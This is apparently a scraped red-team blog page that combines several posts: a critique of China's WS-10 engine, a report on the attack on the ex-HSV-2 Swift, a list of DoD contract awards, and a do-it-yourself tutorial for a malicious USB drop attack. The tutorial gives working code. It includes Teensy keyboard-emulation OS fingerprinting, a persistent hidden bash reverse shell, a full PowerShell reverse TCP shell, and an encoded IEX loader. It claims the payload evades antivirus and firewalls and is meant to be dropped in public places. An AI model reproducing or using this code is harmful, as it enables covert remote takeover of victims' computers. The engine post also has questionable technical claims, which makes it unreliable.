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RED TEAM CYBER SOLUTIONS ~ 210 GORGE RD. EAST, VICTORIA, B.C. ~

Bring advanced offensive capabilities to the world wide web to secure your assets, exploit your competition and put dollars back into your accounts!

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WS-10 Taihang. 涡扇-10. China's turbofan effort results in continued failure after 25 years of development.

The WS-10 Taihang (涡扇-10) turbofan engine: In development since 1989 yet it still fails to meet basic modern engine standards.

  
Talk of a stealthy J-10C has but one purpose; Distract the public from the fact that the J-10 still requires a Russian engine in order to fly and thus is not a fully indigenous aircraft.

A history of the WS-10 Taihang engine: China's most important military project is a failure.

In 1980 China placed turbofan engine technology as its highest priority mission, realizing that turbofan jet engine technology was strategically important to China’s future security and military strength.  If China was forced to rely upon Russian supplied engine's, Russia could simply ground the Chinese air force, if and when she decided too.  How? By simply stopping the flow of engines into China.

China thus initiated a major Research and Development effort to build an indigenous military turbofan engine;  the WS-10.

China's military turbofan engine project began in 1989 under the auspices of the Commission for Science Technology and Industry for National Defense or COSTIND.

The WS-10 engine was then known as the “Medial Thrust Demonstration Turbofan Core Engine” or MTDTC and its main purpose was to power the J-10C VIgorous Dragon.

The engine was to incorporate crystal turbine blades, state-of-the-art technology including full authority and digital control and anything else that was of the most-advanced technology China could integrate into the engine.

This technology includes 2 CFM 56 II aircraft engines purchased from the U.S. despite objections that the CFM 56 II’s hot sections were identical to F101-GE-102 engines used in the F-16 Fighting Falcon and also the B-1B bomber.

The engines were shipped to China with the agreement that China was not to disassemble nor take apart, perform maintenance upon or use the engines for any purpose other than re-engining an airliner China had in storage.

The engines were to be re-purchased by the U.S. manufacturer if the Chinese retrofit program for which they were intended failed.  However; China claimed the CFM 56 II engines were destroyed in a fire shortly after taking delivery.  

The fears of the defense community became a reality, with China stripping the engines for a reverse engineering effort which led to the engines core being reproduced and used in the WS-10 Taihang.

Manufacturing responsibility for the MTDCE went to Shenyang Liming Engine Manufacturing Corporation; after 3 years of manufacturing at Shenyang the engine was ready for static bench tests and the MTDTCE became the WS-10.

The WS-10 was mounted on a static test-bed, where it ran through a series of testing until all ground tests were complete the same year; 1992.  Despite this, the WS-10 never powered nor took to the air until 10 years later in 2002.

Ten years between a first static engine test and flight is an abnormally long amount of time for any aircraft engine project. The only explanation is that serious problems run deep and touch nearly every aspect of the engine’s development.

One of the issues in the WS-10 engine project is the failure of its designer to incorporate single crystal aircraft turbine blades, which became state of the art in 1985.  China instead opted for directionally solidified columnar turbine blades, despite Avic and Shenyang having co-authored a paper on crystal turbine technology in 1990.  

With a development period of 25 years China could have changed course numerous times and began a shift to integrate crystal turbine technology, which is now obsolescent by 31 years, yet she did not.

In 2010, it was reported that the WS-10A lasted for only 30 hours before requiring over-haul while the AL-31 needed refurbishing and over-haul after 400 hours.  It should be noted that the F-15’s F404 engine’s first and second stage compressor blades are composed of single crystal technology, with the purpose of greatly extending engine life.

Kris Richey 2016

涡扇-10.

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Ex - U.S. Navy HSV-2 SWIFT badly damaged during a Yemeni Rebel attack using Chinese missiles.

 Ex - U.S. Navy HSV-2 'Swift' badly damaged during a Yemeni Rebel attack using Chinese HongJian 8 series anti-tank missiles.

An Ex- United States Naval ship known as the Swift HSV-2, or High Speed Vessel which was sold to the UAE returned to port as a little more than a charred and completely burnt out hulk on Oct, 2 2016.

Yemeni Houthi rebels claimed to have sunk the ex-U.S. Navy logistics ship using a Chinese C-702 Anti-Ship Missile.  However; the ship was not sunk nor was a Chinese C-702 missile used in the attack.  The real facts are this: Houthi rebels fired four Chinese Red Arrow/HongJian 8 series Anti-Tank Guided Missile’s at the ship, with all four missiles striking the vessel as she transited within during within a few hundred meters off shore enroute to the port of Aden.

The Rebels announced they had sunk the UAE flagged ex-HSV-2; this is not true.  What is true is that the rebel attack left the ship in total write-off condition, with the explosions from the Chinese ATGM’s lighting fires which melted large sections of the ships aluminum superstructure.

The Littoral Combat Ships are criticized for their use of aluminum and steel in their construction, with the British ship HMS Sheffield having been sunk in the Falklands not by the warhead of the Exocet missile which struck her, but rather from the fire caused by the Exocet’s hot engine exhaust---which ultimately lit the entire ships superstructure on fire.  Once aluminum begins to burn, there is almost nothing that can be done to put the fire out in an at-sea environment.

The ex-U.S. Swift was towed back to Eritrea where she remains, while the U.S. Navy ships USS Mason, USS Ponce and USS Nitz have begun steaming towards the area where the attack occurred to protect humanitarian and other shipping in the area of surrounding the port of Aden.  

Kris Richey 2016

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Creating a malicious USB key: USB drop attacks and a Do-It-Yourself project.

Creating a malicious USB key: Why? To seed office buildings, parking lots and other public areas with a persistent, stealthy and OS aware reverse TCP shell spawning USB drive. Gaining access to corporate, personal and other high value computer systems using the 'drop attack'.

How effective are USB ‘drop attacks’? Very effective---no really, they are.  Wait, there is proof!

Two power generation facilities in the State of California were infected with malware, spread by USB drives plugged into systems used to control power generation, as recently publicised by the US Cyber Emergency Response Team, CERT.

In August, researchers dropped 297 USB thumb drives around the University of Illinois Urbana-Champaign’s parking lots, classrooms and walkway’s; Each USB was loaded with self-executing code to determine how many of the USB's would be inserted into computer systems. The researchers were surprised to find that 45% of the USB's 'phoned home.'  

We're (you and me) are going to make a USB that also 'phone's home.'  After all, it was E.T. who left the USB laying around. (lame joke)

Drop attacks are effective, and despite all the press and warnings about not inserting random USB drives into your corporations air gapped secured file server people still do it.  You remember Stuxnet? A USB drive planted using the 'drop attack' method was actually inserted into an air gapped workstation which controlled Iran's underground uranium enrichment centrifuges.

Why? Curiosity.  The greatest tool in the Social Engineers tool kit.

Therefore, we present a Do-It-Yourself Malicious USB Drive Project: All the necessary code is provided, along with a step by step walk-through on how you too can create a USB stick which will inject code onto a target machine and stoke the flames of curiosity...

The code provided creates a stealthy, persistent ‘reverse TCP shell’, which runs as a hidden background process. This is accomplished using a 100-character bash based script for OS X and Linux machines while a PowerShell script is used for Windows machines. 

Our code is cross-platform compatible and OS aware using a unique OS fingerprinting method.

The code will allow you to bypass the defenses of a Windows system with a disabled USB read/write feature.  It will bypass a Windows system that has disabled the often exploited ‘auto-run’  feature which U3 drives exploit. Finally, it will also bypass Anti-Virus programs, Firewalls and any other security software/settings.

This is possible by emulating a Human Interaction Device: Essentially an HID is a keyboard or a mouse.  Keyboards and mice do not require any authentication to be connected and functional. 

(To protect your Windows system from writing data onto a USB modify your registry.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\StorageDevicePolicies\WriteProtect

Set the above registry entry to 1: All USB storage devices are now read only…)

Despite the best laid plans and proper surveillance/research, you can never be 100% sure of the Operating System the USB will be connected to.  Thus cross-platform code is required as it may determine success versus failure.  

Human Interaction Devices and the Exploitation of HID's

A keyboard is not designed to understand what OS it is connected to, as a result, like the keyboard, HID’s not OS aware.

To make cross-platform capable code, which will work on any Operating System, we need to find a way to give our HID emulating device OS awareness.  Code to perform this task before our HID emulator injects its code is illustrated later on in this article.

Once our USB has been picked up by our target we must assume the possibility that a network connection may not always’s be present, so we add a function into our code which will periodically scan for a network connection.  

Since our USB’s payload will be injected into our target masquerading as a keyboard, we must limit our payload as keyboard throughput is capped at 62.5 keys per second, and remember, we want our attack to be stealth and the more code we inject to spawn a TCP shell, the less stealthy does our code become. 

Attack Overview

Compromising a computer using a HID device is done in three stages, as depicted in the diagram above.  Those three phases are:

1. Testing if the HID device is loaded: The first stage involves ensuring that the USB is mounted and drivers loaded.  Executing our script before a driver is loaded will result in commands not being executed properly resulting in a mission failure.
2. OS fingerprinting: The script that is executed depends on the OS;  We may not know if our USB will be connected to a Windows, Linux or OS X system so we perform an OS fingerprint.  This gives our HID ‘OS awareness’, allowing it to decide which script to run.
3. Reverse shell execution: Once the OS has been determined, our script spawns a hidden reverse TCP shell back to our command and control server.

Note: Ports 80 (standard HTTP port) and port 443 (https) are usually left open by AV/Firewalls.

Making our USB Operating System Aware: Linux, OS X, or Windows.

To do so use the following code:

bool fingerprint_windows(void) {

  int status1 = 0; //LED status before toggle

  int status2 = 0; //LED status after toggle

  unsigned short sk  = SCROLLLOCK;

  // Get status

  status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;

  delay(DELAY);

  //Asking windows to set SCROLLLOCK

  win_open_execute();

  type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{SCROLLLOCK}')\"");

  delay(DELAY);

  // Get status

  status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;

  is_done();

  if (status1 != status2) {

    return true;

  } else {

    return false;

  }

}

 Spawning the reverse TCP shell: A 100 character Mac OS X and Linux script.

When coding our reverse TCP shell making it as small as possible obeying keyboard HID limits, rate of code injection and teensy's limitations are important.

A single-line 100 character Bash script is enough to create a reverse TCP shell.  The code below has been modified to make our shell hidden as a background process, and will periodically search for a network connection in order to contact the C2 server.

 (nohup bash -c \"while true;do bash -i >& /dev/tcp/IP/PORT 0>&1 2>&1; sleep 1;done\" 1>/dev/null &)

For Windows, we use a PowerShell script:

Process {
	$modules=@()
	$c=New-Object System.Net.Sockets.TCPClient("IP",PORT)
	$s=$c.GetStream()
	[byte[]]$b=0..20000|%{0}
	$d=([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+$env:username+" on "+$env:computername+"`nEnjoy!.`n`n")
	$s.Write($d,0,$d.Length)
	$d=([text.encoding]::ASCII).GetBytes("PS "+(Get-Location).Path+">")
	$s.Write($d,0,$d.Length)
	while(($i=$s.Read($b,0,$b.Length)) -ne 0)
	{
	$E=New-Object -TypeName System.Text.ASCIIEncoding
	$D=$E.GetString($b,0,$i)
	$k=(Invoke-Expression -Command $d 2>&1 | Out-String)
	$l=$k+"PS "+(Get-Location).Path+"> "
	$x=($error[0] | Out-String)
	$error.clear()
	$l=$l+$x
	$d=([text.encoding]::ASCII).GetBytes($l)
	$s.Write($d,0,$d.Length)
	$s.Flush()
	}
	$c.Close()
	}

The  PowerShell code is than encoded in base64 so it can be injected via our Teensy HID emulator:

powershell -exec bypass -nop -W hidden -noninteractive -Command \"&

{

  $s=New-Object IO.MemoryStream(

    ,[Convert]::FromBase64String('...BASE64_GZ_POWERSHELL_REVERSE_SHELL...')

  );

  $t=(New-Object IO.StreamReader(

    New-Object IO.Compression.GzipStream(

      $s,[IO.Compression.CompressionMode]::Decompress)

    )

  ).ReadToEnd();

  IEX $t

}

\";exit

Creating a reliable malicious USB can be a lot of fun.  It is also eye opening for those who have never coded anything of the sort before.  

Safeguarding systems is a passion.  Learning through exploitation is the only way to provide real-world cyber security.

A cyber-security expert must be able to deliver cyber attacks with equal proficiency as defending against them;  The two come hand-in-hand.  Without understanding how attacks are performed, one cannot stop them. For effective cyber security:

Red Team Cyber Solutions.  www.cyberevoblog.blogspot.com
 210 Gorge Rd. E, Victoria B.C.

Contact info: cyberwarllc@gmail.com Kris Richey

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DOD CONTRACTS AND AWARDS (of interest) FOR SEPT, 29TH 2016

 DOD CONTRACTS AND AWARDS. Interesting/weapon systems/new combat capabilities marked in bold.) SEPT, 29th 2016

M1A1 Abrams work, IR countermeasures system for Germany, and Sea Skimming targets funded for Sept 29th, 2016.

Orbital Sciences Corp., Chandler, Arizona, is being awarded a $28,712,100 firm-fixed-price contract for the procurement of seven full-rate production Lot 10 GQM-163A Coyote Supersonic Sea Skimming Target base vehicles for the Navy (5) and the government of Japan (2), including spares and long lead steel.  Work will be performed in Chandler, Arizona (71 percent); Camden, Arkansas (24 percent); Vergennes, Vermont (3 percent); and Hollister, California (2 percent), and is expected to be completed in June 2019. This contract combines purchases for the Navy ($21,375,357; 75 percent); and the government of Japan ($7,336,743; 25 percent) under the Foreign Military Sales program. 

Chesapeake Technology International Corp.,* California, Maryland, is being awarded a $12,835,004 cost-plus-fixed-fee contract to provide 66,000 hours of systems development services in support of the Department of Defense Joint Electronic Attack and Compatibility Office, including the modification, integration, and testing of networking services and applications.  Work will be performed in Camarillo, California (70 percent); Point Mugu, California (15 percent), and Lamy, New Mexico (15 percent), and is expected to be completed in September 2021.  
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NAVY

Science Applications International Corp., McLean, Virginia, is being awarded a $30,847,527 firm-fixed-price, fixed-price-incentive, and cost-plus-fixed-fee contract for the procurement of MK 48 Mod 7 heavyweight torpedo afterbody/tailcone sections, test equipment, production support material, engineering support, and hardware repair support.  The work to be performed is manufacturing of MK 48 Mod 7 components to increase the quantity of the MK 48 Mod 7 ready for issue war shot inventory.   Work will be performed in Bedford, Indiana (62 percent); Marion, Massachusetts (30 percent); Middletown, Rhode Island (6 percent); and Indianapolis, Indiana (2 percent), and is expected to be completed by January 2020.  

BAE Systems Land & Armaments LP, Armament Systems Division, Louisville, Kentucky, is being awarded a $25,427,512 firm-fixed-price supply contract for the fiscal 2016 production of the MK 38 MOD 3 Machine Gun System (MGS).   This contract is to fulfill specified requirements and technical performance requirements for the MK38 MOD3 25mm Machine Gun System ordnance alteration and provide additional spare parts.  The MGS is derived from an ordnance alteration to the MK 38 MOD 1 25mm MGS.  Once installed, version incorporates two-axis stabilization, an improved Electro-Optical Sight System, improved Multi-Function Display, modified Main Control Panel, a new Main Computing Unit, a 7.62mm machine gun and remote control operation.  This contract combines purchases for the Navy (84 percent); and the governments of the Philippines (8 percent); and Jordan (8 percent) under the Foreign Military Sales program.  Work will be performed Hafia, Israel (67 percent); and Louisville, Kentucky (33 percent), and is expected to be completed by May 2018.

Lockheed Martin Corp., Fort Worth, Texas, is being awarded $24,378,036 for modification P00003 under a previously awarded fixed-price-incentive-firm contract (N00019-16-C-0004) for procurement of three full mission simulators for the Air Force in support of F-35 Lightning II Joint Strike Fighter aircraft.  Work will be performed in Orlando, Florida (98 percent); and Fort Worth, Texas (2 percent), and is expected to be completed March 2020. Fiscal 2014 aircraft procurement (Air Force) funding in the amount of $24,378,036 is being obligated at time of award, all of which will expire at the end of the current fiscal year.  The Naval Air Systems Command, Patuxent River, Maryland, is the contracting activity.

Rolls-Royce Corp., Indianapolis, Indiana, is being awarded a $22,816,577 modification to a previously awarded indefinite-delivery/indefinite-quantity contract (N00019-15-D-0033) for the manufacture of up to four T56-A-427A spare engines; up to four power section modules; and up to three reduction gear box modules for the E-2D Advanced Hawkeye aircraft.  Work will be performed in Indianapolis, Indiana, and is expected to be completed in September 2017.  Fiscal 2016 aircraft procurement (Navy) funds in the amount of $22,816,577 will be obligated at time of award, none of which will expire at the end of the current fiscal year.  The Naval Air Systems Command, Patuxent River, Maryland, is the contracting activity.

BAE Systems Hawaii, Honolulu, Hawaii, was awarded a $22,073,190 modification to a previously awarded contract (N00024-14-C-4412) for scheduled selected repair availability (SRA) of USS Chung Hoon (DDG-93).  The scheduled SRA is the opportunity in the ship’s life cycle primarily to conduct repair and alteration to systems.  This modification will include execution planning, repair and alteration requirements for USS Chung Hoon (DDG-93).  A focal point of the work is to inspect and repair the port and starboard rudder stock, rudder stock key, rudder stock seal and rudder stock bearing.  Work will be performed in Pearl Harbor, Hawaii, and is expected to be completed by June 2017.  

United Technologies Corp., Pratt & Whitney Military Engines, East Hartford, Connecticut, is being awarded a not-to-exceed $21,000,000 for modification P00009 to a previously awarded cost-plus-incentive-fee, fixed-price-incentive-fee contract (N00019-15-C-0004).  This modification provides for the procurement of one low-rate initial production Lot 10 F-135-PW-600 engine in support of the Marine Corps F-35B Lightening II Short Take-off and Vertical Landing aircraft to facilitate engine testing under the Component Improvement Program.  Work will be performed in East Hartford, Connecticut (76 percent); and Indianapolis, Indiana (24 percent), and is expected to be complete in February 2018.

Sealift Inc., Oyster Bay, New York, is being awarded a $18,158,750 modification under a previously awarded firm-fixed-price contract (N32205-16-C-3505) to exercise the first one-year option period to provide U.S. flagged self-sustaining vessel HSV Westpac Express for passenger and cargo transportation for III Marine Expeditionary Force in accordance with the terms of the charter.  The vessel is capable of deployment to worldwide locations within 24-hours of notification by the operational commander.  Work will be performed worldwide and is expected to be completed by Sept. 30, 2017.  

Nextiraone Federal LLC, doing business as Black Box Network Services, Herndon, Virginia, is being awarded a $17,999,800 firm-fixed-priced contract to engineer, furnish, install, secure, test, and make operational a turnkey solution for the upgrade of the existing telecommunication network architecture to a Unified Capabilities compliant solution at Marine Corps Base Camp Lejeune, North Carolina.  Black Box Network Services shall also provide all ancillary components, site and facility preparation, labor, training, all supporting equipment, software, firmware, licenses, power, grounding, and all interfaces associated with these systems for a complete turnkey solution.  Work will be performed at Camp Lejeune, North Carolina, and work is expected to be completed by March 29, 2018. Fiscal 2016 procurement (Marine Corps) funds in the amount of 12,825,907; and fiscal 2015 military construction funds in the amount of $5,173,892 will be obligated at the time of award and will not expire at the end of the current fiscal year.  

Huntington Ingalls Industries Newport News, Norfolk, Virginia, is being awarded a $17,700,000 cost-plus-fixed-fee contract for planning of USS Helena (SSN 725) dry-docking selected restricted availability.  The contracted requirements include planning efforts necessary to maintain full unrestricted operation of the submarine, as well as upgrades and modernization efforts required to ensure the submarine is operating at full technical capacity as defined in the availability work package.  Work will be performed in Norfolk, Virginia, and is expected to be completed by October 2017. 

The Boeing Co., St. Louis, Missouri, is being awarded $16,994,600 for firm-fixed-price delivery order 7085 under a previously awarded basic ordering agreement (N00383-11-G-001H) for the repair of 61 trailing edge flaps in support of the F-18 aircraft.  Work will be performed in Cecil Field, Florida, and work is expected to be completed by April 2018.  Fiscal 2016 working capital funds (Navy) in the amount of $16,994,600 will be obligated at time of award and will not expire at the end of the current fiscal year. 

Lockheed Martin Corp., Lockheed Martin Aeronautics Co., Fort Worth, Texas, is being awarded a not-to-exceed $16,497,297 modification to delivery order 0031 previously placed against basic ordering agreement N00019-14-G-0020.  This modification provides for deployable spares packages in support of the low-rate initial production Lot 9 F-35B aircraft for the Marine Corps.  Work will be performed in Fort Worth, Texas (24.4 percent); El Segundo, California (9 percent); Owego, New York (8.6 percent); Samlesbury, United Kingdom (7.2 percent); Cheltenham, United Kingdom (6.2 percent); Nashua, New Hampshire (5.8 percent); Torrance, California (5.5 percent); Orlando, Florida (4.9 percent); Cedar Rapids, Iowa (3.7 percent); San Diego, California (3.6 percent); Phoenix, Arizona (3.1 percent); Melbourne, Florida (3 percent); Irvine, California (2.5 percent); North Amityville, New York (2.4 percent); Windsor Locks, Connecticut (2.2 percent); Baltimore, Maryland (2.2 percent); Papendrect, Netherlands (1.9 percent); Rolling Meadows, Illinois (1.8 percent); and Alpharetta, Georgia (1.8 percent), and is expected to be completed in July 2020. 

Kilgore Flares Co. LLC, Toone, Tennessee, is being awarded a $12,789,775 firm-fixed-price contract to manufacture of MJU-61A/B decoy flares for PMA272 Air Expendable Countermeasures Program.  This effort combines purchases for the Air Force (73 percent); Navy (23 percent); and the government of Norway (4 percent) under the Foreign Military Sales program.  This contract includes an option for a 12-month period, which if exercised, will bring the total value of the contract to $30,885,001.  Work will be performed in Toone, Tennessee, and is expected to be completed by April 2018.  Foreign military sales contract funds in the amount of $487,800; fiscal 2016 procurement of ammunition (Navy and Marine Corps) funds in the amount of $2,961,629; and fiscal 2016 aircraft and ammunition (Air Force) funds in the amount of $9,340,346, will be obligated at the time of award.  Funds will not expire at the end of the current fiscal year.   This contract was competitively procured with two firms solicited; two offers received. Naval Supply Systems Command Weapon Systems Support, Mechanicsburg, Pennsylvania, is the contracting activity (N00104-16-C-K099).

Bell-Boeing Joint Project Office, Amarillo, Texas, is being awarded $11,705,904 for cost-plus-fixed-fee order 0127 against a previously issued basic ordering agreement (N00019-12-G-0006).  This order is for engineering efforts for the design and development of the Mission Computer Obsolescence Initiative Operation Test Program Set for the V-22 Osprey.  Work will be performed in St. Louis, Missouri (80 percent); and Ridley Park, Pennsylvania (20 percent), and is expected to be completed in April 2020.  Fiscal 2014 aircraft procurement (Navy) funds in the amount of $11,705,904 will be obligated at time of award, all of which will expire at the end of the current fiscal year.  The Naval Air Warfare Center, Aircraft Division, Lakehurst, New Jersey, is the contracting activity.

Lockheed Martin Mission Systems and Training, Manassas, Virginia, is being awarded a $10,861,910 fixed-price-incentive-firm modification to a previously awarded contract (N00024-13-C-5225) for fiscal 2016 production of AN/SQQ-89A(V)15 Surface Ship Undersea Warfare Systems (USW).   The AN/SQQ-89A(V)15 is a Surface Ship USW combat system with the capabilities to search, detect, classify, localize and track undersea contacts, and to engage and evade submarines, mine-like small objects and torpedo threats.  The contract is for production of the Technical Insertion 14 baseline of the AN/SQQ-89A(V)15 USW Systems.  This contract involves foreign military sales (FMS) to Japan.  Work will be performed in Lemont Furnace, Pennsylvania (56 percent); Syracuse, New York (14 percent); Clearwater, Florida (23 percent); Owego, New York (5 percent); and Marion, Massachusetts (2 percent), and is expected to be completed by September 2019.  Fiscal 2015 and 2016 other procurement (Navy); shipbuilding and conversion (Navy); fiscal 2016 operations and maintenance (Navy); research, development, test and evaluation (Navy); and FMS funding in the amount of $10,861,910 will be obligated at the time of award, and funds in the amount of $173,850 will expire at the end of the current fiscal year.  The Naval Sea Systems Command, Washington, District of Columbia, is the contracting activity.

L-3 Communications Corp., Londonderry, New Hampshire, is being awarded a $10,628,435 firm-fixed-price, indefinite-delivery/indefinite-quantity contract with a three year ordering period for the Advanced Target Pointer/Illuminator/Aiming Laser and a provisioning item order for spare parts.  The Advanced Target Pointer/Illuminator/Aiming Laser is part of the visual augmentation system utilized by the U.S. Special Operations Command to carry out assigned missions.  This system combines the capabilities for visible and infrared lasers for precise weapon aiming and target/area illumination.  Work will be performed in Londonderry, New Hampshire, and is expected to be completed by September 2019.  Fiscal 2016 operations and maintenance (Navy); and fiscal 2015 other procurement (Navy) funds in the amount of $908,459 will be obligated at time of award. Contract funds in the amount of $777,884 will expire at the end of the current fiscal year.

Insitu Inc., Bingen, Washington, is being awarded $9,802,042 for firm-fixed-price delivery order 0069 against a previously issued basic ordering agreement (N00019-12-G-0008) to procure launch and recovery equipment, spares, support equipment, and support services for the ScanEagle unmanned aircraft system operations for the government of Tunisia Intelligence, Surveillance, and Reconnaissance Services Program.  Work will be performed in Bizerte, Tunisia (50 percent); and Bingen, Washington (40 percent); and Beja, Tunisia (10 percent), and is expected to be completed in September 2017.  Fiscal 2016 operations and maintenance (Navy) funds in the amount of $9,802,042 are being obligated at time of award, all of which will expire at the end of the fiscal year.  The Naval Air Systems Command, Patuxent River, Maryland, is the contracting activity.

Raytheon Integrated Defense Systems, Portsmouth, Rhode Island, is being awarded a $9,525,651 cost-plus-fixed-fee modification to a previously awarded contract (N00024-16-C-5418) for the NATO Seasparrow Missile System (NSSMS) design agent engineering and technical support.  The contractor shall provide a variety of design agent program management, engineering, technical and logistics services and supplies necessary to provide effective life cycle support and modernization of the NATO Seasparrow Project Office Combat System Division portfolio, which includes the MK 57 NATO Seasparrow Surface Missile System, the MK 48/56 Guided Missile Vertical Launch System, MK 41 Vertical Launch System related software and equipment, and a variety of lab and special test equipment.  This contract combines purchases for the Navy and the governments of Australia, Canada, Denmark, Germany, Greece, Netherlands, Norway, Portugal, Spain and Turkey as part of the NATO Seasparrow consortium. The Navy share is 40 percent of the program; the partner nations will combine for 60 percent of the program.  Work will be performed in Portsmouth, Rhode Island (94 percent); Marlborough, Massachusetts (3 percent); and San Diego, California (3 percent); and is expected to be completed by November 2017.  

The Boeing Co., Seattle, Washington, is being awarded an $8,395,453 modification to a previously awarded firm-fixed price contract (N00019-12-C-0112) for initial spares in support of the P-8A Multi-mission Maritime aircraft aircrew and maintenance training devices.  Work will be performed in St. Louis, Missouri, and is expected to be completed in September 2018.  Fiscal 2016 aircraft procurement (Navy) funds in the amount of $8,395,453 will be obligated at time of award, none of which will expire at the end of the current fiscal year.  The Naval Air Warfare Center Training Systems Division, Orlando, Florida, is the contracting activity.

Arete Associates, Northridge, California, is being awarded a $7,872,779 cost-plus-fixed-fee contract to develop active and passive sensors for threat detection and localization in the maritime environment. Successful performance would lead to transition and integration into to multiple fleet surface ships.  The contractor will manage the program and conduct systems engineering to execute sensor development, integration, test, and evaluation of this Surface Ship Periscope Detection and Discrimination Future Naval Capabilities program.  This contract contains options, which if exercised, will bring the contract value to $14,643,997.

The Boeing Co., St. Louis, Missouri, is being awarded a $7,714,317 firm-fixed-price contract, for the procurement of technical requirement documents, system specifications, units under test, and provisioning data to establish depot maintenance capabilities at the Fleet Readiness Center Southeast, Jacksonville, Florida, for the P-8A Poseidon Aircraft Stores Management System. Work will be performed in Great Rapids, Michigan (42 percent); St. Louis, Missouri (32 percent); and Seattle, Washington (26 percent), and is expected to be completed by August 2019. Fiscal 2014 aircraft procurement (Navy) funds in the amount of $7,714,317 will be obligated at time of award and funds will expire before the end of the current fiscal year. 

Vigor Marine LLC, Portland, Oregon, is being awarded a $7,694,735 firm-fixed-price contract for an 82-calendar day shipyard availability for the mid-term availability of USNS Rappahannock (T-AO 204).  Work will include general services, clean and gas free tanks, ballast tank preservation, port and starboard main engine 72,000 hour overhauls, No. 4 ship service diesel generator 70,000 hour overhaul, high pressure air compressor overhauls, install fuel sensors in fuel oil service system, and install new lube oil purifiers.  
 

Sealift Inc., Oyster Bay, New York, is being awarded $7,339,785 under a previously awarded contract (N00033-12-C-3303) to exercise an option for the time charter of U.S. flagged, self-sustaining ship M/V MAJ Bernard F. Fisher, to preposition ammunition and related supplies in support of the Air Force’s at-sea prepositioning program.  Work will be performed at sea and the ship must be worldwide deployable.  The anticipated primary places of performance are Diego Garcia and Korea.  The option runs through Sept. 30, 2017.  Subject to availability of funds, fiscal 2017 transportation working capital funds in the amount of $5,489,757 are available to be obligated for fiscal 2017 through June 30, 2017, at which time the contract will then be renegotiated.  

                             DEFENSE LOGISTICS AGENCY 

ATK Space Systems Inc., Dayton, Ohio, has been awarded a maximum $12,183,259 firm-fixed-price, indefinite-quantity contract for B-1B aircraft structural panels. This was a sole-source acquisition using justification 10 U.S. Code 2304(c)(1). This is a one-year base contract with four one-year option periods. Location of performance is Ohio, with a Sept. 28, 2017, performance completion date. Using customer is Air Force. Type of appropriation is fiscal 2016 defense working capital funds. The contracting activity is the Defense Logistics Agency Aviation, Richmond, Virginia (SPE4A7-16-D-0418).

ARMY

General Dynamics Land Systems, Sterling Heights, Michigan, was awarded a $92,100,000 fixed-price incentive contract to acquire 45 sets of Abrams M1A2 system enhanced package version 3. Bids were solicited on the Internet with one received. Work will be performed in multiple locations, with an estimated completion date of Aug. 30, 2018. Fiscal 2016 other procurement Army funds in the amount of $92,100,000 were obligated at the time of the award. Army Contracting Command, Warren, Michigan, is the contracting activity (W56HZV-16-C-0225).

Neany Inc., Hollywood, Maryland, was awarded a $49,168,370 order dependent contract to provide unmanned aerial systems persistent ground surveillance capability. Bids were solicited on the Internet with one received.Funding and work location will be determined with each order. Army Contracting Command, Research Triangle Park, North Carolina, is the contracting activity (W911NF-16-D-0038).

Raytheon, IDS, Andover, Massachusetts, was awarded a $35,650,000 firm-fixed- price foreign military sales contract (German, Netherlands, Kuwait, United Arab Emirates) for Post Deployment Build-8 (PDB-8) kits to support Battle Management, Command, Control, Communications, Computers, and Intelligence (BMC4I) hardware upgrades for the Patriot missile system.
Bids were solicited on the Internet with one received. Work will be performed in multiple locations, with an estimated completion date of Nov. 30, 2018. Fiscal 2016 operations and maintenance Army funds in the amount of $35, 650,000 were obligated at the time of award. Army Contracting Command, Redstone Arsenal, Alabama, is the contracting activity (W31P4Q-16-C-0135).
 

Iron Sword, Enterprises LLC,* Wallkill, New York, was awarded a $23,156,200 firm-fixed-price contract to design build Spellman Hall Army Cyber Institute Building 2101, U.S. Military Academy, West Point, New York. Bids were solicited on the Internet with six received. Work will be performed in New York, New York, with an estimated completion date of Oct. 10, 2017. Fiscal 2016 operations and maintenance army funds in the amount of $23,156,200 were obligated at the time of the award. Army Corps of Engineers, New York, New York is the contracting activity (W912DS-16-C-0033).

URS Federal Services Inc., Germantown, Maryland, was awarded a $19,861,976 modification (P00015) to firm-fixed-price contract W9124G-15-C-0005 for rotary wing flight training instructor support services for the Army Aviation Center of Excellence. Work will be performed in Daleville, Alabama, with an estimated completion date of April 31, 2017. Fiscal 2017 operations and maintenance (Army) in the amount of $19,861,976 were obligated at the time of the award. Army Contracting Command, Fort Eustis, Virginia, is the contracting activity.

Longbow LLC, Orlando, Florida, was awarded a $15,166,741 modification (P00014) to contract W31P4Q-16-C-0035 for engineering services for laser hellfire missiles. Work will be performed in Orlando, Florida, with an estimated completion date of Sept. 30, 2017. Fiscal 2014, 2015, and 2016 research, development, testing, evaluation; other; and other procurement army funds in the amount of $15,166,741 were obligated at the time of the award. Army Contracting Command, Redstone Arsenal, Alabama, is the contracting activity.

Honeywell Technology Solutions Inc., Columbia, Maryland, was awarded a $14,152,877 modification (000218) to contract W52P1J-12-G-0061 for logistics support for Army Prepositioned Stocks-3.  Work will be performed in Charleston, South Carolina, with an estimated completion date of Aug. 14, 2017.  Fiscal 2016 operations and maintenance (Army) funds in the amount of $14,152,877 were obligated at the time of the award. 

Allison Transmission Inc., Indianapolis, Indiana, was awarded a $12,951,705 modification (P00013) cost contract W56HZV-12-C-0067 for equipment used to produce Abrams vehicle X1100 transmissions. Work will be performed in Indianapolis, Indiana, with an estimated completion date of April 31, 2019.  Fiscal 2016 operations and maintenance (Army) in the amount of $12,951,705 were obligated at the time of the award. Army Contracting Command, Warren, Michigan, is the contracting activity.

Kallidus Technologies Inc.,* Lowell, Massachusetts, was awarded an $11,750,457 firm-fixed-price contract to construct a new cyber facility for the Maryland Air National Guard. Bids were solicited via the Internet with four received. Work will be performed in Middle River, Maryland, with an estimated completion date of Oct. 31, 2017. Fiscal 2012 and 2014 military construction funds in the amount of $11,750,457 were obligated at the time of the award.

Flight Safety International, Daleville, Alabama, was awarded an $8,668,493 modification (P00169) to contract W9124G-04-C-0037 for fixed wing flight training services. Work will be performed in Daleville, Alabama, with an estimated completion date of March 9, 2017. Fiscal 2017 operations and maintenance (Army) funds will be subject to availability. Army Contracting Command, Ft. Eustis, Virginia, is the contracting activity.

